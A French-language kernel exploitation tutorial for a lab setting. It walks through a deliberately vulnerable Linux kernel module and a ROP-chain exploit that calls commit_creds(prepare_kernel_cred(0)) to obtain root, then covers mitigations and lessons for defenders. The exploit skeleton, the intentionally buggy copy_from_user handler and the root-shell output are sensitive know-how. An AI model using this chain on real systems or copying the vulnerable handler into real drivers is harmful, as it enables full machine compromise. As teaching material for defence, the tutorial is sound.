Exploitation du noyau : d'un bug à root
Un bug mémoire du noyau vise le privilège, pas un shell : modèle de credentials, charge commit_creds(prepare_kernel_cred(0)), retour propre en userspace.
Ceci est le premier tutoriel de l'espace Exploitation du noyau. Tout ce que vous avez appris dans les espaces x86-64 et ARM64 sur les débordements et le détournement du flux de contrôle s'applique toujours — mais la cible est le noyau du système d'exploitation, et le butin n'est pas un shell, c'est le privilège.
Les bugs du noyau font planter la machine entière, pas un seul processus. Ne faites cela que dans une machine virtuelle jetable que vous pouvez réinitialiser, contre un module noyau que vous avez écrit. Une panique est attendue et normale pendant le développement d'un exploit. Voir les règles du labo.
Le modèle : le ring 3 demande, le ring 0 agit
Les programmes utilisateur (ring 3) ne peuvent pas toucher directement au matériel ni à la mémoire des autres processus. Ils demandent au noyau (ring 0) d'agir en leur nom via des appels système. Le noyau s'exécute avec tous les privilèges et peut voir la mémoire de chaque processus. Un bug de corruption mémoire atteignable depuis un appel système donne donc à un attaquant l'exécution de code dans le contexte le plus privilégié de la machine.
L'attaquant exécute déjà du code en tant qu'utilisateur non privilégié. La seule question est de savoir comment transformer un bug du noyau en root.
Comment le noyau représente le privilège
Chaque tâche possède une struct cred contenant ses uid, gid et capabilities. Root est simplement une cred avec uid == 0 et toutes les capabilities. Linux expose deux fonctions qui, ensemble, constituent la primitive d'élévation de privilèges :
prepare_kernel_cred(0)alloue une cred fraîche avec des identifiants rootcommit_creds(cred)l'installe sur la tâche courantereturn to userspaceswapgs ; iretq de retour vers le ring 3execve("/bin/sh")un shell rootSi nous pouvons faire exécuter au noyau commit_creds(prepare_kernel_cred(0)), le processus entré dans le noyau devient root. Nous revenons ensuite en userspace et lançons un shell.
La cible : un module noyau vulnérable
Les noyaux de CTF et d'entraînement embarquent un module noyau chargeable (LKM) délibérément vulnérable exposant un périphérique avec un bug. Un débordement de pile minimal via un handler write :
/* vuln.c — un LKM délibérément vulnérable (labo uniquement). */
static ssize_t vuln_write(struct file *f, const char __user *buf,
size_t len, loff_t *off) {
char local[64];
copy_from_user(local, buf, len); /* le bug : len est contrôlé par l'attaquant */
return len;
}
copy_from_user(local, buf, len) avec un len contrôlé par l'attaquant fait déborder le tampon de 64 octets sur la pile du noyau — le débordement de pile que vous connaissez déjà, mais sur la pile du noyau, en écrasant une adresse de retour sauvegardée que le CPU suivra en ring 0.
La forme de l'exploit
/* exploit.c — s'exécute en tant qu'utilisateur non privilégié dans la VM du labo. */
// 1) Sauvegarde de l'état userspace pour y revenir après l'élévation de privilèges.
save_state(); // stocke user cs, ss, rsp, rflags via de l'asm inline
// 2) Construction d'une chaîne ROP noyau dans le débordement qui exécute :
// rdi = 0; call prepare_kernel_cred
// rdi = rax; call commit_creds
// swapgs; iretq -> retour vers user shell()
unsigned long payload[N];
size_t i = OFFSET / 8; // décalage jusqu'à l'adresse de retour sauvegardée
payload[i++] = pop_rdi; payload[i++] = 0;
payload[i++] = prepare_kernel_cred;
payload[i++] = pop_rdi_from_rax_trampoline; // déplace rax -> rdi
payload[i++] = commit_creds;
payload[i++] = swapgs_ret;
payload[i++] = iretq;
payload[i++] = (unsigned long)shell; // RIP sauvegardé
payload[i++] = user_cs; payload[i++] = user_rflags;
payload[i++] = user_sp; payload[i++] = user_ss;
int fd = open("/dev/vuln", O_RDWR);
write(fd, payload, sizeof(payload)); // déclenche le débordement
// après iretq on atterrit dans shell() en tant que root :
void shell(void){ if (getuid()==0) system("/bin/sh"); }
Les adresses des symboles du noyau (prepare_kernel_cred, commit_creds) proviennent de /proc/kallsyms sur un noyau non durci, ou d'une fuite (les prochains guides traitent le cas où elles sont masquées). Le résultat :
$ ./exploit
[*] saved user state
[*] triggering overflow...
# id
uid=0(root) gid=0(root) groups=0(root)
Réactivez les mitigations
Chaque mitigation du noyau retire une commodité sur laquelle cet exploit s'appuyait :
| Mitigation | Effet sur cet exploit |
|---|---|
kptr_restrict / dmesg_restrict | Masque /proc/kallsyms et les pointeurs des logs — vous devez faire fuiter les adresses des symboles |
| KASLR | Randomise la base du noyau ; une seule fuite dérandomise toute l'image |
Canari de pile du noyau (CONFIG_STACKPROTECTOR) | Détecte le débordement de pile avant le retour |
| SMEP / SMAP | Empêchent le noyau d'exécuter ou de lire l'espace utilisateur — le guide suivant |
| KPTI | Démappe le noyau des tables de pages utilisateur — le troisième guide |
Ce que cela apprend à un défenseur
- Un bug du noyau est une compromission complète de la machine. Il n'y a pas de frontière de privilège au-dessus de root. Traitez tout bug de corruption mémoire atteignable depuis le noyau comme de gravité maximale, y compris dans les pilotes et les modules hors arbre.
- La surface d'attaque est le levier. La plupart des LPE noyau se trouvent dans les pilotes, les systèmes de fichiers et les appels système de niche, pas dans le code central. Réduire la surface atteignable (seccomp,
lockdown, désactivation des modules inutilisés) met des classes entières de bugs hors de portée. - Activez les options de configuration.
CONFIG_STACKPROTECTOR_STRONG, KASLR, SMEP/SMAP et le durcissement du troisième guide sont les équivalents noyau des options userland des flags de durcissement de binaire.
Points clés à retenir
- L'exploitation du noyau transforme un bug mémoire atteignable par appel système en privilège, pas en shell.
- Le privilège réside dans
struct cred;commit_creds(prepare_kernel_cred(0))rend la tâche courante root. - Après l'élévation de privilèges, vous devez revenir en ring 3 avec l'état utilisateur sauvegardé via
swapgs ; iretq. - Travaillez uniquement dans une VM réinitialisable ; les mitigations qui suivent (SMEP, SMAP, KASLR, KPTI) retirent chacune une étape sur laquelle cela reposait.
Ensuite : ret2usr, SMEP et SMAP, les défenses qui empêchent le noyau de faire confiance à la mémoire de l'espace utilisateur.